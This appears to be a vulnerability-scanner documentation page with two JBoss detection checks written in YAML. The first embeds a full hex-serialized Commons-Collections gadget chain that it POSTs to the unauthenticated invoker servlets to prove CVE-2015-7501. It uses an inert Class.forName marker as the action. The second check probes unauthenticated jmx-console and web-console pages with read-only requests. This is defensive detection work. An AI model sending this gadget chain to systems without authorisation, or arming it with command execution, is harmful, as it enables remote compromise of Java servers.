| Feed | tests/vulnerabilities/jboss/CVE-2015-7501.yaml |
Red Hat JBoss products (JBoss AS / EAP / WildFly with Apache Commons Collections <= 3.2.1) deserialize the body POSTed to the unauthenticated HTTP invoker servlets (/invoker/JMXInvokerServlet, /invoker/EJBInvokerServlet) with ObjectInputStream, and the InvokerTransformer gadget in commons-collections turns that into remote code execution (CVE-2015-7501). This check POSTs a real serialized Commons-Collections gadget chain whose only action is a reflective call to Class.forName("Noctis<random>"): the class does not exist, so a vulnerable server throws a ClassNotFoundException naming our random marker and serializes it back in the invoker response. Seeing the marker inside that exception proves the gadget chain ran arbitrary method invocation on the target. Nothing is executed, written or loaded on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Opens a persistent TCP/TLS socket
- Sends a binary frame on the open socket
- Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Checks
verdict.hitfor^true$→ finding QoD 97: POST … with a Commons-Collections InvokerTransformer chain calling Class.forName("…"): HTTP … reply carries the serialized java.lang.ClassN…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2015-7501
- https://access.redhat.com/security/vulnerabilities/2059393
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2015/CVE-2015-7501.yaml
Feed source — tests/vulnerabilities/jboss/CVE-2015-7501.yaml
uid: 224e24ac-022c-4aa1-9a3d-d010898dc4f5
name: "Red Hat JBoss JMXInvokerServlet Commons-Collections Java deserialization RCE (CVE-2015-7501)"
description: |
Red Hat JBoss products (JBoss AS / EAP / WildFly with Apache Commons Collections
<= 3.2.1) deserialize the body POSTed to the unauthenticated HTTP invoker servlets
(/invoker/JMXInvokerServlet, /invoker/EJBInvokerServlet) with ObjectInputStream, and
the InvokerTransformer gadget in commons-collections turns that into remote code
execution (CVE-2015-7501). This check POSTs a real serialized Commons-Collections
gadget chain whose only action is a reflective call to Class.forName("Noctis<random>"):
the class does not exist, so a vulnerable server throws a ClassNotFoundException
naming our random marker and serializes it back in the invoker response. Seeing the
marker inside that exception proves the gadget chain ran arbitrary method invocation
on the target. Nothing is executed, written or loaded on the target.
cves: [CVE-2015-7501]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags:
- jboss
- wildfly
- jmx-invoker
- commons-collections
- deserialization
- rce
- intrusive
services:
- http
- https
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2015-7501"
- "https://access.redhat.com/security/vulnerabilities/2059393"
- "https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/"
- "OpenVAS/Greenbone NASL 2016/gb_jboss_rmi_java_deserialization_vulnerability.nasl (OID 1.3.6.1.4.1.25623.1.0.105828, GPL-2.0-only)"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2015/CVE-2015-7501.yaml"
# Ported from the OpenVAS active check gb_jboss_rmi_java_deserialization_vulnerability.nasl
# (same entry point /invoker/JMXInvokerServlet, same
# "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue"
# content type). Deliberate deviations, all making the check stronger:
#
# * Gadget: the NASL sends CommonsCollections1 (sun.reflect.annotation.
# AnnotationInvocationHandler), which only fires on JDK < 8u71. We send the
# HashSet -> TiedMapEntry -> LazyMap -> ChainedTransformer chain ("CC6"), which fires
# on every JDK as long as commons-collections <= 3.2.1 is on the classpath.
# * Proof: the NASL makes the target ping the scanner and sniffs ICMP (needs a raw
# ICMP path back to the scanner). We need no callback at all: the chain is
# ConstantTransformer(Class.class) + InvokerTransformer("forName", String,
# "Noctis<random>"). JBoss's InvokerServlet serializes the resulting exception back
# in the HTTP response, so a FunctorException -> ClassNotFoundException carrying our
# random class name is in-band proof that the target performed an attacker-chosen
# reflective method call (the RCE primitive) — and the call itself is inert.
# * Coverage: also tries /invoker/EJBInvokerServlet (same servlet class), like Nuclei.
#
# Discrimination (validated against a real JDK with commons-collections 3.1 / 3.2.2):
# - CC <= 3.2.1 (vulnerable): FunctorException -> ClassNotFoundException: <marker>
# - CC 3.2.2 (patched): UnsupportedOperationException "Serialization support for
# ...InvokerTransformer is disabled" — no marker
# - no commons-collections: ClassNotFoundException: ...TiedMapEntry — no marker
# - invoker secured/removed: 401/403/404 — no marker
# The request never contains "ClassNotFoundException", and a reply that carries the
# marker still followed by the request's "forName" string is rejected, so a server that
# merely echoes the request body cannot match.
#
# Framing: JBoss wraps the exception in an Externalizable MarshalledValue, so its bytes
# travel in block-data mode with a 5-byte TC_BLOCKDATALONG header (7a 00 00 04 00) every
# 1024 bytes, and Tomcat may send the body chunked. Either can split a string, so the
# reply is de-framed before matching, and the marker is kept short (18 bytes).
steps:
- id: gen-marker
action: script
store_as: cc
code: |
#{ marker: "Noctis" + substr(str_replace(oob_token, "-", ""), 0, 11) }
# Loop group: everything below runs once per invoker servlet path, until a finding.
- id: init-reply
action: set_var
var_name: reply
var_value: {responded: false, response: null}
loop:
over: ["/invoker/JMXInvokerServlet", "/invoker/EJBInvokerServlet"]
var: invoker_path
- id: init-late
action: set_var
var_name: late
var_value: {responded: false, response: null}
# Serialized HashSet{TiedMapEntry(LazyMap(ChainedTransformer[
# ConstantTransformer(java.lang.Class),
# InvokerTransformer("forName", [String], [<marker>])]))}
# produced by ObjectOutputStream (commons-collections 3.1); only the marker string
# (TC_STRING 0x74 + u16 length + bytes) is spliced in at scan time.
- id: build-frame
action: script
store_as: req
code: |
let g = "";
g += "aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f400000";
g += "00000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e";
g += "546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563";
g += "743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b78707400066e6f637469737372002a6f72672e617061";
g += "6368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c00";
g += "07666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73";
g += "666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63";
g += "746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65";
g += "727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65";
g += "723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f";
g += "726d65723bbd562af1d83418990200007870000000027372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c";
g += "6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b194020001";
g += "4c000969436f6e7374616e7471007e000378707672000f6a6176612e6c616e672e436c6173732c7e5503d9bf95530200";
g += "0078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e49";
g += "6e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c61";
g += "6e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b";
g += "69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e";
g += "672e4f626a6563743b90ce589f1073296c020000787000000001";
g += "74";
g += p16be(strlen(cc.marker));
g += hexstr(cc.marker);
g += "740007666f724e616d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000";
g += "01767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb3420200007870737200116a6176612e7574696c2e";
g += "486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000";
g += "000000000c77080000001000000000787878";
let blen = strlen(g) / 2;
let r = "POST " + invoker_path + " HTTP/1.1\r\n";
r += "Host: " + target_host + ":" + port.to_string() + "\r\n";
r += "Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue\r\n";
r += "Accept: */*\r\n";
r += "Content-Length: " + blen.to_string() + "\r\n";
r += "Connection: close\r\n";
r += "\r\n";
#{ frame: hexstr(r) + g, len: blen }
# Raw socket (TLS auto-wrapped on https): the body is binary.
- id: open-invoker
action: tcp_open
handle: inv
port: "{{port}}"
timeout_secs: 10
store_as: conn
- id: send-gadget
action: tcp_send
handle: inv
send_hex: "{{req.frame}}"
store_as: reply
# tcp_send gives up when the first reply byte takes > 500 ms (engine #1417), and
# deserializing + serializing the exception chain can be slower on a busy JBoss.
# Wait, then read whatever arrived late (or the rest of a reply that paused) on the
# same socket. On a fast server that already closed, this read returns at once.
- id: wait-late
action: sleep
duration_ms: 3000
condition: "reply.responded == false"
- id: read-late
action: tcp_send
handle: inv
send: ""
store_as: late
- id: close-invoker
action: tcp_close
handle: inv
- id: verify
action: script
store_as: verdict
code: |
let hit = false;
let status = "";
let body = "";
if type_of(reply.response) == "string" { body += reply.response; }
if type_of(late.response) == "string" { body += late.response; }
if body != "" {
let m = eregmatch("^HTTP/[0-9.]+ ([0-9]{3})", body);
if m.len() >= 2 { status = m[1]; }
// De-frame: drop block-data headers and HTTP chunk-size lines.
body = str_replace(body, "z\x00\x00\x04\x00", "");
body = ereg_replace("\r\n[0-9a-fA-F]{1,8}\r\n", "", body);
let echoed = body.contains(cc.marker + "t\x00\x07forName");
hit = !echoed && body.contains("java.lang.ClassNotFoundException") && body.contains(cc.marker);
}
#{ hit: hit, status: status }
- id: confirm
action: match
source: verdict.hit
pattern: "^true$"
on_match:
finding:
confidence_delta: 0.65 # 0.30 + 0.65 = 0.95
qod: 97
evidence: "POST {{invoker_path}} with a Commons-Collections InvokerTransformer chain calling Class.forName(\"{{cc.marker}}\"): HTTP {{verdict.status}} reply carries the serialized java.lang.ClassNotFoundException naming that random class — the target deserialized the gadget and executed the attacker-chosen method call (CVE-2015-7501)"
stop: trueJBoss Application Server jmx-console / web-console reachable without authentication
| CVE | CVE-2007-1036 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | exposure — Exposure |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/jboss/CVE-2007-1036.yaml |
In its default configuration JBoss Application Server deploys the jmx-console and the web-console without any security-constraint, so anyone who can reach the HTTP port gets the administrative JMX consoles (CVE-2007-1036). From there an attacker can invoke any MBean operation, for example deploy a remote WAR and run code. The test only reads pages: it requests the JMX Agent View (/jmx-console/HtmlAdaptor?action=displayMBeans) and the web-console server information page (/web-console/ServerInfo.jsp) with a plain GET and no credentials. A finding is reported when the JMX Agent View returns its live list of registered MBeans (links to inspectMBean), or when ServerInfo.jsp returns the rendered server version block. If only the jmx-console landing page answers with its title, a lower-confidence finding is reported. No MBean operation is invoked and nothing is written on the target.
How noctis detects it
- HTTP(S) request
GET /jmx-console/HtmlAdaptor?action=displayMBeans - HTTP(S) request
GET /jmx-console/ - Parses / computes the next value with a Rhai script
- Checks
jmx.agentfor^true$→ finding QoD 75: JBoss jmx-console accessible without authentication (CVE-2007-1036) - Checks
jmx.index_onlyfor^true$→ finding QoD 70: JBoss jmx-console landing page reachable without authentication (CVE-2007-1036) - HTTP(S) request
GET /web-console/ServerInfo.jsp - Parses / computes the next value with a Rhai script
- Checks
web.vulnerablefor^true$→ finding QoD 75: JBoss web-console accessible without authentication (CVE-2007-1036)
References:
Feed source — tests/vulnerabilities/jboss/CVE-2007-1036.yaml
uid: 8d4f9bb8-f8a8-4fb1-b445-f2eb3a9be766
name: "JBoss Application Server jmx-console / web-console reachable without authentication"
description: |
In its default configuration JBoss Application Server deploys the jmx-console and the
web-console without any security-constraint, so anyone who can reach the HTTP port gets
the administrative JMX consoles (CVE-2007-1036). From there an attacker can invoke any
MBean operation, for example deploy a remote WAR and run code. The test only reads pages:
it requests the JMX Agent View (/jmx-console/HtmlAdaptor?action=displayMBeans) and the
web-console server information page (/web-console/ServerInfo.jsp) with a plain GET and no
credentials. A finding is reported when the JMX Agent View returns its live list of
registered MBeans (links to inspectMBean), or when ServerInfo.jsp returns the rendered
server version block. If only the jmx-console landing page answers with its title, a
lower-confidence finding is reported. No MBean operation is invoked and nothing is
written on the target.
category: exposure
cves: [CVE-2007-1036]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [jboss, jmx-console, web-console, unauthenticated, management-interface, misconfiguration]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2007-1036"
- "https://kb.cert.org/vuls/id/632656"
# Ported from OpenVAS/Greenbone NVT 2019/redhat/gb_jboss_jmx_web_console_access_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.142595, GPL-2.0-only): GET /web-console/ServerInfo.jsp must
# return 200 with "<title>JBoss Management Console - Server Information</title>" and
# "Management Console"; GET /jmx-console/ must return 200 with
# "<title>JBoss JMX Management Console".
#
# Markers checked against the real JSPs shipped in JBoss AS 4.0.5.GA and 6.1.0.Final:
# * 4.0.5 /jmx-console/ forwards to displayMBeans.jsp (title "JBoss JMX Management
# Console", "JMX Agent View", links "HtmlAdaptor?action=inspectMBean&name=…").
# * 6.1.0 /jmx-console/ is a frameset titled "JBoss JMX Management Console - <host>";
# the MBean list lives in HtmlAdaptor?action=displayMBeans, whose links are written
# "inspectMBean&name=…".
# * 4.0.5 web-console ServerInfo.jsp renders "<b>Version: </b><version>" (6.x dropped
# the web-console).
#
# Improvements over the NASL:
# * The jmx-console is proved by the JMX Agent View itself: a live MBean listing only
# the unprotected HtmlAdaptor servlet produces, on both the 4.x and the 5.x/6.x
# layouts (the NASL only reads the landing page title, which on 5.x/6.x is an empty
# frameset). The title-only match is kept as a QoD 70 fallback.
# * The web-console finding also requires the rendered "Version:" field and reports the
# disclosed version.
# * Redirects are not followed: a console behind a FORM login (302 to a login page) is
# not reported.
steps:
# Pre-initialise every stored result read by a script: a failed request leaves
# `store_as` unset, and an undefined variable aborts the whole test.
- id: init-agent
action: set_var
var_name: agent_resp
var_value: {status: 0, body: ""}
- id: init-index
action: set_var
var_name: index_resp
var_value: {status: 0, body: ""}
- id: init-web
action: set_var
var_name: web_resp
var_value: {status: 0, body: ""}
# ── jmx-console ───────────────────────────────────────────────────────────
# 1. JMX Agent View: the HtmlAdaptor servlet lists every registered MBean.
- id: jmx-agent-view
action: http_request
method: GET
path: "/jmx-console/HtmlAdaptor?action=displayMBeans"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: agent_resp
# 2. Landing page, as checked by the original plugin.
- id: jmx-index
action: http_request
method: GET
path: /jmx-console/
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: index_resp
- id: jmx-eval
action: script
store_as: jmx
code: |
let a = if type_of(agent_resp.body) == "string" { agent_resp.body } else { "" };
let i = if type_of(index_resp.body) == "string" { index_resp.body } else { "" };
let agent = agent_resp.status == 200
&& a.contains("<title>JBoss JMX Management Console")
&& a.contains("JMX Agent View")
&& ereg("HtmlAdaptor\\?action=inspectMBean&(amp;)?name=", a);
let index = index_resp.status == 200 && i.contains("<title>JBoss JMX Management Console");
#{ agent: agent, index_only: index && !agent,
agent_status: agent_resp.status, index_status: index_resp.status }
- id: jmx-report
action: match
source: jmx.agent
pattern: "^true$"
on_match:
finding:
title: "JBoss jmx-console accessible without authentication (CVE-2007-1036)"
confidence_delta: 0.55 # 0.30 + 0.55 = 0.85
qod: 75
evidence: "GET /jmx-console/HtmlAdaptor?action=displayMBeans answered HTTP {{jmx.agent_status}} without credentials with the JMX Agent View listing the registered MBeans (inspectMBean links)"
- id: jmx-report-index
action: match
source: jmx.index_only
pattern: "^true$"
on_match:
finding:
title: "JBoss jmx-console landing page reachable without authentication (CVE-2007-1036)"
confidence_delta: 0.40 # 0.30 + 0.40 = 0.70
qod: 70
evidence: "GET /jmx-console/ answered HTTP {{jmx.index_status}} without credentials with the 'JBoss JMX Management Console' page; the JMX Agent View did not answer with an MBean list (HTTP {{jmx.agent_status}})"
# ── web-console ───────────────────────────────────────────────────────────
- id: web-serverinfo
action: http_request
method: GET
path: /web-console/ServerInfo.jsp
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: web_resp
- id: web-eval
action: script
store_as: web
code: |
let b = if type_of(web_resp.body) == "string" { web_resp.body } else { "" };
let ver = "";
let m = eregmatch("<b>Version: </b>([^<]{1,80})<", b, false);
if m.len() >= 2 { ver = m[1]; }
let ok = web_resp.status == 200
&& b.contains("<title>JBoss Management Console - Server Information</title>")
&& b.contains("Management Console")
&& ver != "";
#{ vulnerable: ok, status: web_resp.status, version: ver }
- id: web-report
action: match
source: web.vulnerable
pattern: "^true$"
on_match:
finding:
title: "JBoss web-console accessible without authentication (CVE-2007-1036)"
confidence_delta: 0.55 # 0.30 + 0.55 = 0.85
qod: 75
evidence: "GET /web-console/ServerInfo.jsp answered HTTP {{web.status}} without credentials with the rendered 'JBoss Management Console - Server Information' page (Version: {{web.version}})"